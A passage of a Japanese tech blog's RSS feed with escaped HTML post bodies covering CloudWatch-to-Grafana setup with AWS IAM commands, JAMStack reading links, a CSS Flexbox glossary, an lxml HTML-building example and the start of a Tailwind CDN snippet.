&lt;ul&gt;
&lt;li&gt;インポートしたダッシュボードを自分のニーズに合わせてカスタマイズします。不要なデータを削除したり、必要な情報を追加したりします。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="具体的な手順"&gt;具体的な手順&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;IAMユーザーの作成&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;aws iam create-user --user-name &amp;lt;username&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;aws iam attach-user-policy --user-name &amp;lt;username&amp;gt; --policy-arn arn:aws:iam::aws:policy/CloudWatchReadOnlyAccess
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;aws iam create-access-key --user-name &amp;lt;username&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Grafanaでの設定&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Grafanaのメニューから「Connections &amp;gt; Data sources &amp;gt; Add new data source」を選択し、CloudWatchをデータソースとして追加します。&lt;/li&gt;
&lt;li&gt;IAMユーザーのアクセスキーとシークレットキーを入力し、リージョンを &lt;code&gt;us-east-1&lt;/code&gt; に設定します。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;ダッシュボードのインポート&lt;/strong&gt;:&lt;/p&gt;</description></item><item><title>JAMStack</title><link>https://hdknr.github.io/blogs/posts/2024/09/jamstack/</link><pubDate>Thu, 19 Sep 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/09/jamstack/</guid><description>&lt;h1 id="jamstack"&gt;JAMStack&lt;/h1&gt;
&lt;h2 id="記事"&gt;記事&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gini.co.jp/blog/jamstack-vs-wordpress#index_1LgVpQeO"&gt;【徹底比較】Jamstack vs WordPress｜これからのWebはJamstack！&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stackshare.io/stackups/netlify-vs-wix"&gt;Netlify vs Wix&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://kinsta.com/jp/blog/react-static-site-generator/"&gt;【2024年版】おすすめのReactベース静的サイトジェネレーター6選&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://unicorn-blog.jp/archives/26894"&gt;静的サイトジェネレータについて初心者向けに分かりやすく解説&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/kazuki_tachikawa/items/5a04de1174d30e7b5c0e"&gt;【2024年】Webデザインのトレンド・参考サイトまとめ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cloudflare.com/ja-jp/the-net/jamstack-websites/"&gt;JamstackによりWebサイト構築のあり方が一変する可能性&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://re-cd.com/blog/2024%E5%B9%B4%E3%81%AEweb%E9%96%8B%E7%99%BA%E6%A5%AD%E7%95%8C%E3%83%88%E3%83%AC%E3%83%B3%E3%83%89%E3%81%A8%E6%9C%80%E6%96%B0%E6%8A%80%E8%A1%93/"&gt;2024年のWeb開発業界トレンドと最新技術&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://webdesigning.book.mynavi.jp/cms/100027/"&gt;Jamstackで制作はどう変わる？ 「削減できるもの」と「必要になるもの」&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.commte.co.jp/blog/What-is-the-Jamstack"&gt;Jamstack とは何なの？メリットとデメリットはあるの？&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.issoh.co.jp/column/details/3121/"&gt;Jamstackとは何か？その意味と重要性について詳しく解説&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/rsi_dev/articles/0347be46270f90"&gt;JamStack簡単まとめ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.issoh.co.jp/tech/details/1889/"&gt;Jamstack入門：次世代ウェブ開発のための革新的なアーキテクチャとは何か？&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://appmaster.io/ja/blog/2023-uebukai-fa-reda-totsupu10torendo"&gt;2024 年の Web 開発トレンド トップ 10&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.torat.jp/what-is-jamstack/"&gt;Jamstackとは？パフォーマンスの高いフロントエンド構築&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.hakoreco.com/2024/06/11/hakoreco-jamstack/"&gt;Jamstackによるサイト構築について&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://annai.co.jp/article/new-old-jamstack-and-mach-journey-towards-traditional-cms-concepts"&gt;新しい古典：Jamstack と MACH が従来の CMS の概念に向け進化する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://codezine.jp/article/detail/15054"&gt;今話題の「ヘッドレスCMS」とは？ Jamstack、マルチデバイスにも対応したCMSの新潮流&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;セキュリティ:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://cybersecurity-jp.com/column/3928"&gt;【2024年】サイバーセキュリティの現状と今後の方向性&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="wordpress"&gt;Wordpress&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=urG5ITacmYU"&gt;Jamstack、ノーコード vs WordPress？　2024年のWeb制作トレンドを予想しよう【おすすめUdemy講座紹介&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;ブロックエディタ&lt;/li&gt;
&lt;li&gt;FSE&lt;/li&gt;
&lt;li&gt;Snow Monkey, SWell&lt;/li&gt;
&lt;li&gt;Wordpress + Snow Monkey, Wordpress + Astro&lt;/li&gt;
&lt;li&gt;データ主権&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="マーケットシェア"&gt;マーケットシェア&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Wordpressは 60% (40%など調査主体による)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://w3techs.com/technologies/details/cm-gatsby"&gt;シェア&lt;/a&gt; 0.2% 高トラフィックサイトで利用されている。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="netlify対wix違いは何ですか"&gt;Netlify対Wix:違いは何ですか？&lt;/h2&gt;
&lt;p&gt;はじめに:&lt;/p&gt;
&lt;p&gt;この記事では、NetlifyとWixの主な違いについて説明します。
これらのプラットフォームはさまざまな目的を果たし、Netlifyは人気のあるWeb開発およびホスティングプラットフォームですが、WixはWebサイトビルダーおよびホスティングプラットフォームです。
それらの違いを理解することは、個人や企業がWeb関連のニーズに合った適切なプラットフォームを選択するときに、情報に基づいた決定を行うのに役立ちます。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;導入プロセス&lt;/strong&gt;:Netlifyは、開発者がGitを使用してWebサイトを簡単に構築、テスト、および展開できるようにする、最新の合理化された展開プロセスを提供します。
継続的な展開、バージョン管理、ワンクリック展開を提供し、高速で効率的なワークフローを求める開発者に最適です。
一方、Wixは、Webサイトを作成するためのよりユーザーフレンドリーなドラッグアンドドロップインターフェイスを提供します。
これは、技術的な専門知識のない個人に対応する簡略化されたWebサイト構築エクスペリエンスを提供します。&lt;/p&gt;</description></item><item><title>CSS Flex</title><link>https://hdknr.github.io/blogs/posts/2024/09/css-flex/</link><pubDate>Tue, 17 Sep 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/09/css-flex/</guid><description>&lt;h1 id="flex"&gt;&lt;a href="https://developer.mozilla.org/ja/docs/Glossary/Flex"&gt;Flex&lt;/a&gt;&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;flex&lt;/code&gt; は CSS の &lt;code&gt;display&lt;/code&gt; プロパティの値です。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;inline-flex&lt;/code&gt; と同じく、要素に適用するとフレックスコンテナーになり、その要素の子要素はそれぞれフレックスアイテムになります。&lt;/li&gt;
&lt;li&gt;アイテムはフレックスレイアウトに参加し、CSS フレックスボックスレイアウトで定義されているすべてのプロパティが適用されます。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;flex&lt;/code&gt; プロパティもあり、これはフレックスボックスの &lt;code&gt;flex-grow&lt;/code&gt;、&lt;code&gt;flex-shrink&lt;/code&gt;、&lt;code&gt;flex-basis&lt;/code&gt; の各プロパティの一括指定です。&lt;/li&gt;
&lt;li&gt;このプロパティはフレックスコンテナーにのみ適用されます。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="flexbox-フレックスボックス"&gt;&lt;a href="https://developer.mozilla.org/ja/docs/Glossary/Flexbox"&gt;Flexbox (フレックスボックス)&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;フレックスボックスは、アイテムを列方向や行方向など一次元に並べて表示するためのレイアウトモデルである CSS flexible box layout module に対する一般的な通称です。&lt;/li&gt;
&lt;li&gt;この仕様書では、フレックスボックスはユーザーインターフェイスの設計のためのレイアウトモデルとして説明されています。&lt;/li&gt;
&lt;li&gt;フレックスボックスの重要な特徴が、フレックスレイアウト内のアイテムが伸縮することができることです。&lt;/li&gt;
&lt;li&gt;余白はアイテム自体に割り当てることも、アイテムの間や周囲に配分することもできます。&lt;/li&gt;
&lt;li&gt;また、フレックスボックスはでは主軸や交差軸上の配置を指定することもでき、アイテムグループのサイズと配置に対する高レベルな制御を提供します。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="flex-container-フレックスコンテナー"&gt;&lt;a href="https://developer.mozilla.org/ja/docs/Glossary/Flex_Container"&gt;Flex Container (フレックスコンテナー)&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://developer.mozilla.org/ja/docs/Glossary/Flexbox"&gt;フレックスボックスレイアウト&lt;/a&gt;は、&lt;code&gt;flex&lt;/code&gt; または &lt;code&gt;inline-flex&lt;/code&gt; を親要素の &lt;code&gt;display&lt;/code&gt; プロパティの値に使用することで定義されます。&lt;/li&gt;
&lt;li&gt;この要素はフレックスコンテナーとなり、その子要素それぞれはフレックスアイテムとなります。&lt;/li&gt;
&lt;li&gt;値に &lt;code&gt;flex&lt;/code&gt; を指定すると、この要素は &lt;strong&gt;ブロックレベルのフレックスコンテナー&lt;/strong&gt; となり、&lt;code&gt;inline-flex&lt;/code&gt; を指定すると、 &lt;strong&gt;インラインレベルのフレックスコンテナー&lt;/strong&gt; となります。&lt;/li&gt;
&lt;li&gt;これらの指定は、その要素に対するフレックス整形コンテキストを作成します。&lt;/li&gt;
&lt;li&gt;これはブロック整形コンテキストと、不動要素がコンテナーの中に侵入せず、コンテナーのマージンがアイテムのマージンとの間で相殺されないという点で似ています。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="flex-item-フレックスアイテム"&gt;&lt;a href="https://developer.mozilla.org/ja/docs/Glossary/Flex_Item"&gt;Flex Item (フレックスアイテム)&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;フレックスコンテナー（display: flex または display: inline-flex が設定された要素）の直下の子要素はフレックスアイテムとなります。&lt;/li&gt;
&lt;li&gt;フレックスコンテナー内で直下に続くテキストもフレックスアイテムになります。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="記事"&gt;記事&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://koshian-toast.com/blockinline-2/"&gt;【初心者・独学】ブロックレベル要素とインライン要素の配置(縦積み・横並び)&lt;/a&gt; (ブロック: 縦, インライン: 横)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://koshian-toast.com/block-yokonarabi2/"&gt;【初心者・独学】フレックスボックスで、ブロックレベル要素を横並びにする。&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Python: DOM</title><link>https://hdknr.github.io/blogs/posts/2024/09/python-dom/</link><pubDate>Tue, 10 Sep 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/09/python-dom/</guid><description>&lt;h1 id="python-dom"&gt;Python: DOM&lt;/h1&gt;
&lt;h2 id="lxml"&gt;lxml&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/10874719/recommended-way-to-generate-xhtml-documents-with-lxml"&gt;Recommended way to generate XHTML documents with lxml&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="etree"&gt;etree&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; lxml &lt;span style="color:#f92672"&gt;import&lt;/span&gt; etree
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ルート要素を作成&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;html &lt;span style="color:#f92672"&gt;=&lt;/span&gt; etree&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Element(&lt;span style="color:#e6db74"&gt;&amp;#34;html&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;body &lt;span style="color:#f92672"&gt;=&lt;/span&gt; etree&lt;span style="color:#f92672"&gt;.&lt;/span&gt;SubElement(html, &lt;span style="color:#e6db74"&gt;&amp;#34;body&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;h1 &lt;span style="color:#f92672"&gt;=&lt;/span&gt; etree&lt;span style="color:#f92672"&gt;.&lt;/span&gt;SubElement(body, &lt;span style="color:#e6db74"&gt;&amp;#34;h1&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;h1&lt;span style="color:#f92672"&gt;.&lt;/span&gt;text &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;タイトル&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;p &lt;span style="color:#f92672"&gt;=&lt;/span&gt; etree&lt;span style="color:#f92672"&gt;.&lt;/span&gt;SubElement(body, &lt;span style="color:#e6db74"&gt;&amp;#34;p&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;p&lt;span style="color:#f92672"&gt;.&lt;/span&gt;text &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;これは段落です。&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# HTMLを文字列として取得&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;html_string &lt;span style="color:#f92672"&gt;=&lt;/span&gt; etree&lt;span style="color:#f92672"&gt;.&lt;/span&gt;tostring(html, pretty_print&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;, encoding&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;unicode&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print(html_string)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="cssutils"&gt;cssutils&lt;/h2&gt;
&lt;p&gt;cssutilsを使ってゼロからCSSを構成するのは比較的簡単です。以下の手順でCSSスタイルシートを作成し、ルールを追加することができます。&lt;/p&gt;</description></item><item><title>Tailwind</title><link>https://hdknr.github.io/blogs/posts/2024/09/tailwind/</link><pubDate>Tue, 10 Sep 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/09/tailwind/</guid><description>&lt;h1 id="tailwind"&gt;Tailwind&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://nerdcave.com/tailwind-cheat-sheet"&gt;チートシート&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="tailwindconfig"&gt;tailwind.config&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tailwindcss.com/docs/installation/play-cdn"&gt;Get started with Tailwind CSS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Play CDN:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;23
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;24
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!doctype html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;charset&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;UTF-8&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;viewport&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;content&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;width=device-width, initial-scale=1.0&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;https://cdn.tailwindcss.com&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;tailwind&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;config&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
